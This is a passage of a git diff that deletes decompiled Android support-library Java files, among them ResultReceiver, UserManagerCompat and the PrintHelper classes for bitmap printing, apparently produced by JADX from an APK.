android.os.Parcelable.Creator - public T createFromParcel(Parcel parcel) { - return this.mCallbacks.createFromParcel(parcel, null); - } - - @Override // android.os.Parcelable.Creator - public T[] newArray(int i) { - return this.mCallbacks.newArray(i); - } - } - - private ParcelableCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorCallbacks.java b/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorCallbacks.java deleted file mode 100644 index a804cfe..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorCallbacks.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.os; - -import android.os.Parcel; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface ParcelableCompatCreatorCallbacks { - T createFromParcel(Parcel parcel, ClassLoader classLoader); - - T[] newArray(int i); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorHoneycombMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorHoneycombMR2.java deleted file mode 100644 index 024826f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorHoneycombMR2.java +++ /dev/null @@ -1,28 +0,0 @@ -package android.support.v4.os; - -import android.os.Parcel; -import android.os.Parcelable; -/* compiled from: ParcelableCompatHoneycombMR2.java */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ParcelableCompatCreatorHoneycombMR2 implements Parcelable.ClassLoaderCreator { - private final ParcelableCompatCreatorCallbacks mCallbacks; - - public ParcelableCompatCreatorHoneycombMR2(ParcelableCompatCreatorCallbacks parcelableCompatCreatorCallbacks) { - this.mCallbacks = parcelableCompatCreatorCallbacks; - } - - @Override // android.os.Parcelable.Creator - public T createFromParcel(Parcel parcel) { - return this.mCallbacks.createFromParcel(parcel, null); - } - - @Override // android.os.Parcelable.ClassLoaderCreator - public T createFromParcel(Parcel parcel, ClassLoader classLoader) { - return this.mCallbacks.createFromParcel(parcel, classLoader); - } - - @Override // android.os.Parcelable.Creator - public T[] newArray(int i) { - return this.mCallbacks.newArray(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorHoneycombMR2Stub.java b/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorHoneycombMR2Stub.java deleted file mode 100644 index e74c048..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompatCreatorHoneycombMR2Stub.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.os; - -import android.os.Parcelable; -/* compiled from: ParcelableCompatHoneycombMR2.java */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ParcelableCompatCreatorHoneycombMR2Stub { - ParcelableCompatCreatorHoneycombMR2Stub() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Parcelable.Creator instantiate(ParcelableCompatCreatorCallbacks parcelableCompatCreatorCallbacks) { - return new ParcelableCompatCreatorHoneycombMR2(parcelableCompatCreatorCallbacks); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/ResultReceiver.java b/apk_3230/decompiled_source/sources/android/support/v4/os/ResultReceiver.java deleted file mode 100644 index e735ce3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/ResultReceiver.java +++ /dev/null @@ -1,107 +0,0 @@ -package android.support.v4.os; - -import android.os.Bundle; -import android.os.Handler; -import android.os.Parcel; -import android.os.Parcelable; -import android.os.RemoteException; -import android.support.v4.os.IResultReceiver; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ResultReceiver implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.os.ResultReceiver.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public ResultReceiver createFromParcel(Parcel parcel) { - return new ResultReceiver(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public ResultReceiver[] newArray(int i) { - return new ResultReceiver[i]; - } - }; - final Handler mHandler; - final boolean mLocal; - IResultReceiver mReceiver; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - protected void onReceiveResult(int i, Bundle bundle) { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class MyRunnable implements Runnable { - final int mResultCode; - final Bundle mResultData; - - MyRunnable(int i, Bundle bundle) { - this.mResultCode = i; - this.mResultData = bundle; - } - - @Override // java.lang.Runnable - public void run() { - ResultReceiver.this.onReceiveResult(this.mResultCode, this.mResultData); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class MyResultReceiver extends IResultReceiver.Stub { - MyResultReceiver() { - } - - @Override // android.support.v4.os.IResultReceiver - public void send(int i, Bundle bundle) { - if (ResultReceiver.this.mHandler != null) { - ResultReceiver.this.mHandler.post(new MyRunnable(i, bundle)); - } else { - ResultReceiver.this.onReceiveResult(i, bundle); - } - } - } - - public ResultReceiver(Handler handler) { - this.mLocal = true; - this.mHandler = handler; - } - - public void send(int i, Bundle bundle) { - if (this.mLocal) { - Handler handler = this.mHandler; - if (handler != null) { - handler.post(new MyRunnable(i, bundle)); - return; - } else { - onReceiveResult(i, bundle); - return; - } - } - IResultReceiver iResultReceiver = this.mReceiver; - if (iResultReceiver != null) { - try { - iResultReceiver.send(i, bundle); - } catch (RemoteException unused) { - } - } - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - synchronized (this) { - if (this.mReceiver == null) { - this.mReceiver = new MyResultReceiver(); - } - parcel.writeStrongBinder(this.mReceiver.asBinder()); - } - } - - ResultReceiver(Parcel parcel) { - this.mLocal = false; - this.mHandler = null; - this.mReceiver = IResultReceiver.Stub.asInterface(parcel.readStrongBinder()); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/TraceCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/os/TraceCompat.java deleted file mode 100644 index 1a7382b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/TraceCompat.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.os; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class TraceCompat { - public static void beginSection(String str) { - TraceJellybeanMR2.beginSection(str); - } - - public static void endSection() { - TraceJellybeanMR2.endSection(); - } - - private TraceCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/TraceJellybeanMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/os/TraceJellybeanMR2.java deleted file mode 100644 index e67e2a9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/TraceJellybeanMR2.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.os; - -import android.os.Trace; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TraceJellybeanMR2 { - TraceJellybeanMR2() { - } - - public static void beginSection(String str) { - Trace.beginSection(str); - } - - public static void endSection() { - Trace.endSection(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/UserManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/os/UserManagerCompat.java deleted file mode 100644 index 375e4c3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/UserManagerCompat.java +++ /dev/null @@ -1,25 +0,0 @@ -package android.support.v4.os; - -import android.content.Context; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class UserManagerCompat { - private UserManagerCompat() { - } - - @Deprecated - public static boolean isUserRunningAndLocked(Context context) { - return !isUserUnlocked(context); - } - - @Deprecated - public static boolean isUserRunningAndUnlocked(Context context) { - return isUserUnlocked(context); - } - - public static boolean isUserUnlocked(Context context) { - if (BuildCompat.isAtLeastN()) { - return UserManagerCompatApi24.isUserUnlocked(context); - } - return true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/UserManagerCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/os/UserManagerCompatApi24.java deleted file mode 100644 index ef860f3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/UserManagerCompatApi24.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.v4.os; - -import android.content.Context; -import android.os.UserManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class UserManagerCompatApi24 { - public static boolean isUserUnlocked(Context context) { - return ((UserManager) context.getSystemService(UserManager.class)).isUserUnlocked(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelper.java deleted file mode 100644 index ae8177c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelper.java +++ /dev/null @@ -1,231 +0,0 @@ -package android.support.v4.print; - -import android.content.Context; -import android.graphics.Bitmap; -import android.net.Uri; -import android.support.v4.print.PrintHelperKitkat; -import java.io.FileNotFoundException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PrintHelper { - public static final int COLOR_MODE_COLOR = 2; - public static final int COLOR_MODE_MONOCHROME = 1; - public static final int ORIENTATION_LANDSCAPE = 1; - public static final int ORIENTATION_PORTRAIT = 2; - public static final int SCALE_MODE_FILL = 2; - public static final int SCALE_MODE_FIT = 1; - PrintHelperVersionImpl mImpl; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnPrintFinishCallback { - void onFinish(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface PrintHelperVersionImpl { - int getColorMode(); - - int getOrientation(); - - int getScaleMode(); - - void printBitmap(String str, Bitmap bitmap, OnPrintFinishCallback onPrintFinishCallback); - - void printBitmap(String str, Uri uri, OnPrintFinishCallback onPrintFinishCallback) throws FileNotFoundException; - - void setColorMode(int i); - - void setOrientation(int i); - - void setScaleMode(int i); - } - - public static boolean systemSupportsPrint() { - return true; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static final class PrintHelperStubImpl implements PrintHelperVersionImpl { - int mColorMode; - int mOrientation; - int mScaleMode; - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void printBitmap(String str, Bitmap bitmap, OnPrintFinishCallback onPrintFinishCallback) { - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void printBitmap(String str, Uri uri, OnPrintFinishCallback onPrintFinishCallback) { - } - - private PrintHelperStubImpl() { - this.mScaleMode = 2; - this.mColorMode = 2; - this.mOrientation = 1; - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void setScaleMode(int i) { - this.mScaleMode = i; - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public int getColorMode() { - return this.mColorMode; - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void setColorMode(int i) { - this.mColorMode = i; - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void setOrientation(int i) { - this.mOrientation = i; - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public int getOrientation() { - return this.mOrientation; - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public int getScaleMode() { - return this.mScaleMode; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class PrintHelperImpl implements PrintHelperVersionImpl { - private final RealHelper mPrintHelper; - - protected PrintHelperImpl(RealHelper realhelper) { - this.mPrintHelper = realhelper; - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void setScaleMode(int i) { - this.mPrintHelper.setScaleMode(i); - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public int getScaleMode() { - return this.mPrintHelper.getScaleMode(); - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void setColorMode(int i) { - this.mPrintHelper.setColorMode(i); - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public int getColorMode() { - return this.mPrintHelper.getColorMode(); - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void setOrientation(int i) { - this.mPrintHelper.setOrientation(i); - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public int getOrientation() { - return this.mPrintHelper.getOrientation(); - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void printBitmap(String str, Bitmap bitmap, final OnPrintFinishCallback onPrintFinishCallback) { - this.mPrintHelper.printBitmap(str, bitmap, onPrintFinishCallback != null ? new PrintHelperKitkat.OnPrintFinishCallback() { // from class: android.support.v4.print.PrintHelper.PrintHelperImpl.1 - @Override // android.support.v4.print.PrintHelperKitkat.OnPrintFinishCallback - public void onFinish() { - onPrintFinishCallback.onFinish(); - } - } : null); - } - - @Override // android.support.v4.print.PrintHelper.PrintHelperVersionImpl - public void printBitmap(String str, Uri uri, final OnPrintFinishCallback onPrintFinishCallback) throws FileNotFoundException { - this.mPrintHelper.printBitmap(str, uri, onPrintFinishCallback != null ? new PrintHelperKitkat.OnPrintFinishCallback() { // from class: android.support.v4.print.PrintHelper.PrintHelperImpl.2 - @Override // android.support.v4.print.PrintHelperKitkat.OnPrintFinishCallback - public void onFinish() { - onPrintFinishCallback.onFinish(); - } - } : null); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static final class PrintHelperKitkatImpl extends PrintHelperImpl { - PrintHelperKitkatImpl(Context context) { - super(new PrintHelperKitkat(context)); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static final class PrintHelperApi20Impl extends PrintHelperImpl { - PrintHelperApi20Impl(Context context) { - super(new PrintHelperApi20(context)); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static final class PrintHelperApi23Impl extends PrintHelperImpl { - PrintHelperApi23Impl(Context context) { - super(new PrintHelperApi23(context)); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static final class PrintHelperApi24Impl extends PrintHelperImpl { - PrintHelperApi24Impl(Context context) { - super(new PrintHelperApi24(context)); - } - } - - public PrintHelper(Context context) { - if (systemSupportsPrint()) { - this.mImpl = new PrintHelperApi24Impl(context); - } else { - this.mImpl = new PrintHelperStubImpl(); - } - } - - public void setScaleMode(int i) { - this.mImpl.setScaleMode(i); - } - - public int getScaleMode() { - return this.mImpl.getScaleMode(); - } - - public void setColorMode(int i) { - this.mImpl.setColorMode(i); - } - - public int getColorMode() { - return this.mImpl.getColorMode(); - } - - public void setOrientation(int i) { - this.mImpl.setOrientation(i); - } - - public int getOrientation() { - return this.mImpl.getOrientation(); - } - - public void printBitmap(String str, Bitmap bitmap) { - this.mImpl.printBitmap(str, bitmap, (OnPrintFinishCallback) null); - } - - public void printBitmap(String str, Bitmap bitmap, OnPrintFinishCallback onPrintFinishCallback) { - this.mImpl.printBitmap(str, bitmap, onPrintFinishCallback); - } - - public void printBitmap(String str, Uri uri) throws FileNotFoundException { - this.mImpl.printBitmap(str, uri, (OnPrintFinishCallback) null); - } - - public void printBitmap(String str, Uri uri, OnPrintFinishCallback onPrintFinishCallback) throws FileNotFoundException { - this.mImpl.printBitmap(str, uri, onPrintFinishCallback); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi20.java b/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi20.java deleted file mode 100644 index 8948785..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi20.java +++ /dev/null @@ -1,11 +0,0 @@ -package android.support.v4.print; - -import android.content.Context; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PrintHelperApi20 extends PrintHelperKitkat { - /* JADX INFO: Access modifiers changed from: package-private */ - public PrintHelperApi20(Context context) { - super(context); - this.mPrintActivityRespectsOrientation = false; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi23.java deleted file mode 100644 index d0b27f3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi23.java +++ /dev/null @@ -1,22 +0,0 @@ -package android.support.v4.print; - -import android.content.Context; -import android.print.PrintAttributes; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PrintHelperApi23 extends PrintHelperApi20 { - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.support.v4.print.PrintHelperKitkat - public PrintAttributes.Builder copyAttributes(PrintAttributes printAttributes) { - PrintAttributes.Builder copyAttributes = super.copyAttributes(printAttributes); - if (printAttributes.getDuplexMode() != 0) { - copyAttributes.setDuplexMode(printAttributes.getDuplexMode()); - } - return copyAttributes; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public PrintHelperApi23(Context context) { - super(context); - this.mIsMinMarginsHandlingCorrect = false; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi24.java deleted file mode 100644 index 5b0675f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperApi24.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.print; - -import android.content.Context; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PrintHelperApi24 extends PrintHelperApi23 { - /* JADX INFO: Access modifiers changed from: package-private */ - public PrintHelperApi24(Context context) { - super(context); - this.mIsMinMarginsHandlingCorrect = true; - this.mPrintActivityRespectsOrientation = true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperKitkat.java b/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperKitkat.java deleted file mode 100644 index 182ac5a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/print/PrintHelperKitkat.java +++ /dev/null @@ -1,464 +0,0 @@ -package android.support.v4.print; - -import android.content.Context; -import android.graphics.Bitmap; -import android.graphics.BitmapFactory; -import android.graphics.Canvas; -import android.graphics.ColorMatrix; -import android.graphics.ColorMatrixColorFilter; -import android.graphics.Matrix; -import android.graphics.Paint; -import android.graphics.RectF; -import android.graphics.pdf.PdfDocument; -import android.net.Uri; -import android.os.AsyncTask; -import android.os.Bundle; -import android.os.CancellationSignal; -import android.os.ParcelFileDescriptor; -import android.print.PageRange; -import android.print.PrintAttributes; -import android.print.PrintDocumentAdapter; -import android.print.PrintDocumentInfo; -import android.print.PrintManager; -import android.print.pdf.PrintedPdfDocument; -import android.util.Log; -import java.io.FileNotFoundException; -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.InputStream; -/* JADX INFO: Access modifiers changed from: package-private */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class PrintHelperKitkat { - public static final int COLOR_MODE_COLOR = 2; - public static final int COLOR_MODE_MONOCHROME = 1; - private static final String LOG_TAG = "PrintHelperKitkat"; - private static final int MAX_PRINT_SIZE = 3500; - public static final int ORIENTATION_LANDSCAPE = 1; - public static final int ORIENTATION_PORTRAIT = 2; - public static final int SCALE_MODE_FILL = 2; - public static final int SCALE_MODE_FIT = 1; - final Context mContext; - int mOrientation; - BitmapFactory.Options mDecodeOptions = null; - private final Object mLock = new Object(); - int mScaleMode = 2; - int mColorMode = 2; - protected boolean mPrintActivityRespectsOrientation = true; - protected boolean mIsMinMarginsHandlingCorrect = true; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnPrintFinishCallback { - void onFinish(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public PrintHelperKitkat(Context context) { - this.mContext = context; - } - - public void setScaleMode(int i) { - this.mScaleMode = i; - } - - public int getScaleMode() { - return this.mScaleMode; - } - - public void setColorMode(int i) { - this.mColorMode = i; - } - - public void setOrientation(int i) { - this.mOrientation = i; - } - - public int getOrientation() { - int i = this.mOrientation; - if (i == 0) { - return 1; - } - return i; - } - - public int getColorMode() { - return this.mColorMode; - } - - /* JADX INFO: Access modifiers changed from: private */ - public static boolean isPortrait(Bitmap bitmap) { - return bitmap.getWidth() <= bitmap.getHeight(); - } - - /* JADX INFO: Access modifiers changed from: protected */ - public PrintAttributes.Builder copyAttributes(PrintAttributes printAttributes) { - PrintAttributes.Builder minMargins = new PrintAttributes.Builder().setMediaSize(printAttributes.getMediaSize()).setResolution(printAttributes.getResolution()).setMinMargins(printAttributes.getMinMargins()); - if (printAttributes.getColorMode() != 0) { - minMargins.setColorMode(printAttributes.getColorMode()); - } - return minMargins; - } - - public void printBitmap(final String str, final Bitmap bitmap, final OnPrintFinishCallback onPrintFinishCallback) { - PrintAttributes.MediaSize mediaSize; - if (bitmap == null) { - return; - } - final int i = this.mScaleMode; - PrintManager printManager = (PrintManager) this.mContext.getSystemService("print"); - if (isPortrait(bitmap)) { - mediaSize = PrintAttributes.MediaSize.UNKNOWN_PORTRAIT; - } else { - mediaSize = PrintAttributes.MediaSize.UNKNOWN_LANDSCAPE; - } - printManager.print(str, new PrintDocumentAdapter() { // from class: android.support.v4.print.PrintHelperKitkat.1 - private PrintAttributes mAttributes; - - @Override // android.print.PrintDocumentAdapter - public void onLayout(PrintAttributes printAttributes, PrintAttributes printAttributes2, CancellationSignal cancellationSignal, PrintDocumentAdapter.LayoutResultCallback layoutResultCallback, Bundle bundle) { - this.mAttributes = printAttributes2; - layoutResultCallback.onLayoutFinished(new PrintDocumentInfo.Builder(str).setContentType(1).setPageCount(1).build(), !printAttributes2.equals(printAttributes)); - } - - @Override // android.print.PrintDocumentAdapter - public void onWrite(PageRange[] pageRangeArr, ParcelFileDescriptor parcelFileDescriptor, CancellationSignal cancellationSignal, PrintDocumentAdapter.WriteResultCallback writeResultCallback) { - PrintHelperKitkat.this.writeBitmap(this.mAttributes, i, bitmap, parcelFileDescriptor, cancellationSignal, writeResultCallback); - } - - @Override // android.print.PrintDocumentAdapter - public void onFinish() { - OnPrintFinishCallback onPrintFinishCallback2 = onPrintFinishCallback; - if (onPrintFinishCallback2 != null) { - onPrintFinishCallback2.onFinish(); - } - } - }, new PrintAttributes.Builder().setMediaSize(mediaSize).setColorMode(this.mColorMode).build()); - } - - /* JADX INFO: Access modifiers changed from: private */ - public Matrix getMatrix(int i, int i2, RectF rectF, int i3) { - float min; - Matrix matrix = new Matrix(); - float f = i; - float width = rectF.width() / f; - if (i3 == 2) { - min = Math.max(width, rectF.height() / i2); - } else { - min = Math.min(width, rectF.height() / i2); - } - matrix.postScale(min, min); - matrix.postTranslate((rectF.width() - (f * min)) / 2.0f, (rectF.height() - (i2 * min)) / 2.0f); - return matrix; - } - - /* JADX INFO: Access modifiers changed from: private */ - /* JADX WARN: Type inference failed for: r11v0, types: [android.support.v4.print.PrintHelperKitkat$2] */ - public void writeBitmap(final PrintAttributes printAttributes, final int i, final Bitmap bitmap, final ParcelFileDescriptor parcelFileDescriptor, final CancellationSignal cancellationSignal, final PrintDocumentAdapter.WriteResultCallback writeResultCallback) { - final PrintAttributes build = this.mIsMinMarginsHandlingCorrect ? printAttributes : copyAttributes(printAttributes).setMinMargins(new PrintAttributes.Margins(0, 0, 0, 0)).build(); - new AsyncTask() { // from class: android.support.v4.print.PrintHelperKitkat.2 - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.os.AsyncTask - public Throwable doInBackground(Void... voidArr) { - RectF rectF; - try { - if (cancellationSignal.isCanceled()) { - return null; - } - PrintedPdfDocument printedPdfDocument = new PrintedPdfDocument(PrintHelperKitkat.this.mContext, build); - Bitmap convertBitmapForColorMode = PrintHelperKitkat.this.convertBitmapForColorMode(bitmap, build.getColorMode()); - if (cancellationSignal.isCanceled()) { - return null; - } - PdfDocument.Page startPage = printedPdfDocument.startPage(1); - if (PrintHelperKitkat.this.mIsMinMarginsHandlingCorrect) { - rectF = new RectF(startPage.getInfo().getContentRect()); - } else { - PrintedPdfDocument printedPdfDocument2 = new PrintedPdfDocument(PrintHelperKitkat.this.mContext, printAttributes); - PdfDocument.Page startPage2 = printedPdfDocument2.startPage(1); - RectF rectF2 = new RectF(startPage2.getInfo().getContentRect()); - printedPdfDocument2.finishPage(startPage2); - printedPdfDocument2.close(); - rectF = rectF2; - } - Matrix matrix = PrintHelperKitkat.this.getMatrix(convertBitmapForColorMode.getWidth(), convertBitmapForColorMode.getHeight(), rectF, i); - if (!PrintHelperKitkat.this.mIsMinMarginsHandlingCorrect) { - matrix.postTranslate(rectF.left, rectF.top); - startPage.getCanvas().clipRect(rectF); - } - startPage.getCanvas().drawBitmap(convertBitmapForColorMode, matrix, null); - printedPdfDocument.finishPage(startPage); - if (!cancellationSignal.isCanceled()) { - printedPdfDocument.writeTo(new FileOutputStream(parcelFileDescriptor.getFileDescriptor())); - printedPdfDocument.close(); - ParcelFileDescriptor parcelFileDescriptor2 = parcelFileDescriptor; - if (parcelFileDescriptor2 != null) { - try { - parcelFileDescriptor2.close(); - } catch (IOException unused) { - } - } - if (convertBitmapForColorMode != bitmap) { - convertBitmapForColorMode.recycle(); - } - return null; - } - printedPdfDocument.close(); - ParcelFileDescriptor parcelFileDescriptor3 = parcelFileDescriptor; - if (parcelFileDescriptor3 != null) { - try { - parcelFileDescriptor3.close(); - } catch (IOException unused2) { - } - } - if (convertBitmapForColorMode != bitmap) { - convertBitmapForColorMode.recycle(); - } - return null; - } catch (Throwable th) { - return th; - } - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.os.AsyncTask - public void onPostExecute(Throwable th) { - if (cancellationSignal.isCanceled()) { - writeResultCallback.onWriteCancelled(); - } else if (th == null) { - writeResultCallback.onWriteFinished(new PageRange[]{PageRange.ALL_PAGES}); - } else { - Log.e(PrintHelperKitkat.LOG_TAG, "Error writing printed content", th); - writeResultCallback.onWriteFailed(null); - } - } - }.execute(new Void[0]); - } - - public void printBitmap(String str, Uri uri, OnPrintFinishCallback onPrintFinishCallback) throws FileNotFoundException { - AnonymousClass3 anonymousClass3 = new AnonymousClass3(str, uri, onPrintFinishCallback, this.mScaleMode); - PrintManager printManager = (PrintManager) this.mContext.getSystemService("print"); - PrintAttributes.Builder builder = new PrintAttributes.Builder(); - builder.setColorMode(this.mColorMode); - int i = this.mOrientation; - if (i == 1 || i == 0) { - builder.setMediaSize(PrintAttributes.MediaSize.UNKNOWN_LANDSCAPE); - } else if (i == 2) { - builder.setMediaSize(PrintAttributes.MediaSize.UNKNOWN_PORTRAIT); - } - printManager.print(str, anonymousClass3, builder.build()); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* renamed from: android.support.v4.print.PrintHelperKitkat$3 reason: invalid class name */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class AnonymousClass3 extends PrintDocumentAdapter { - private PrintAttributes mAttributes; - Bitmap mBitmap = null; - AsyncTask mLoadBitmap; - final /* synthetic */ OnPrintFinishCallback val$callback; - final /* synthetic */ int val$fittingMode; - final /* synthetic */ Uri val$imageFile; - final /* synthetic */ String val$jobName; - - AnonymousClass3(String str, Uri uri, OnPrintFinishCallback onPrintFinishCallback, int i) { - this.val$jobName = str; - this.val$imageFile = uri; - this.val$callback = onPrintFinishCallback; - this.val$fittingMode = i; - } - - /* JADX WARN: Type inference failed for: r11v3, types: [android.support.v4.print.PrintHelperKitkat$3$1] */ - @Override // android.print.PrintDocumentAdapter - public void onLayout(final PrintAttributes printAttributes, final PrintAttributes printAttributes2, final CancellationSignal cancellationSignal, final PrintDocumentAdapter.LayoutResultCallback layoutResultCallback, Bundle bundle) { - synchronized (this) { - this.mAttributes = printAttributes2; - } - if (cancellationSignal.isCanceled()) { - layoutResultCallback.onLayoutCancelled(); - } else if (this.mBitmap != null) { - layoutResultCallback.onLayoutFinished(new PrintDocumentInfo.Builder(this.val$jobName).setContentType(1).setPageCount(1).build(), !printAttributes2.equals(printAttributes)); - } else { - this.mLoadBitmap = new AsyncTask() { // from class: android.support.v4.print.PrintHelperKitkat.3.1 - @Override // android.os.AsyncTask - protected void onPreExecute() { - cancellationSignal.setOnCancelListener(new CancellationSignal.OnCancelListener() { // from class: android.support.v4.print.PrintHelperKitkat.3.1.1 - @Override // android.os.CancellationSignal.OnCancelListener - public void onCancel() { - AnonymousClass3.this.cancelLoad(); - cancel(false); - } - }); - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.os.AsyncTask - public Bitmap doInBackground(Uri... uriArr) { - try { - return PrintHelperKitkat.this.loadConstrainedBitmap(AnonymousClass3.this.val$imageFile, PrintHelperKitkat.MAX_PRINT_SIZE); - } catch (FileNotFoundException unused) { - return null; - } - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.os.AsyncTask - public void onPostExecute(Bitmap bitmap) { - PrintAttributes.MediaSize mediaSize; - super.onPostExecute((AnonymousClass1) bitmap); - if (bitmap != null && (!PrintHelperKitkat.this.mPrintActivityRespectsOrientation || PrintHelperKitkat.this.mOrientation == 0)) { - synchronized (this) { - mediaSize = AnonymousClass3.this.mAttributes.getMediaSize(); - } - if (mediaSize != null && mediaSize.isPortrait() != PrintHelperKitkat.isPortrait(bitmap)) { - Matrix matrix = new Matrix(); - matrix.postRotate(90.0f); - bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); - } - } - AnonymousClass3.this.mBitmap = bitmap; - if (bitmap != null) { - layoutResultCallback.onLayoutFinished(new PrintDocumentInfo.Builder(AnonymousClass3.this.val$jobName).setContentType(1).setPageCount(1).build(), true ^ printAttributes2.equals(printAttributes)); - } else { - layoutResultCallback.onLayoutFailed(null); - } - AnonymousClass3.this.mLoadBitmap = null; - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.os.AsyncTask - public void onCancelled(Bitmap bitmap) { - layoutResultCallback.onLayoutCancelled(); - AnonymousClass3.this.mLoadBitmap = null; - } - }.execute(new Uri[0]); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public void cancelLoad() { - synchronized 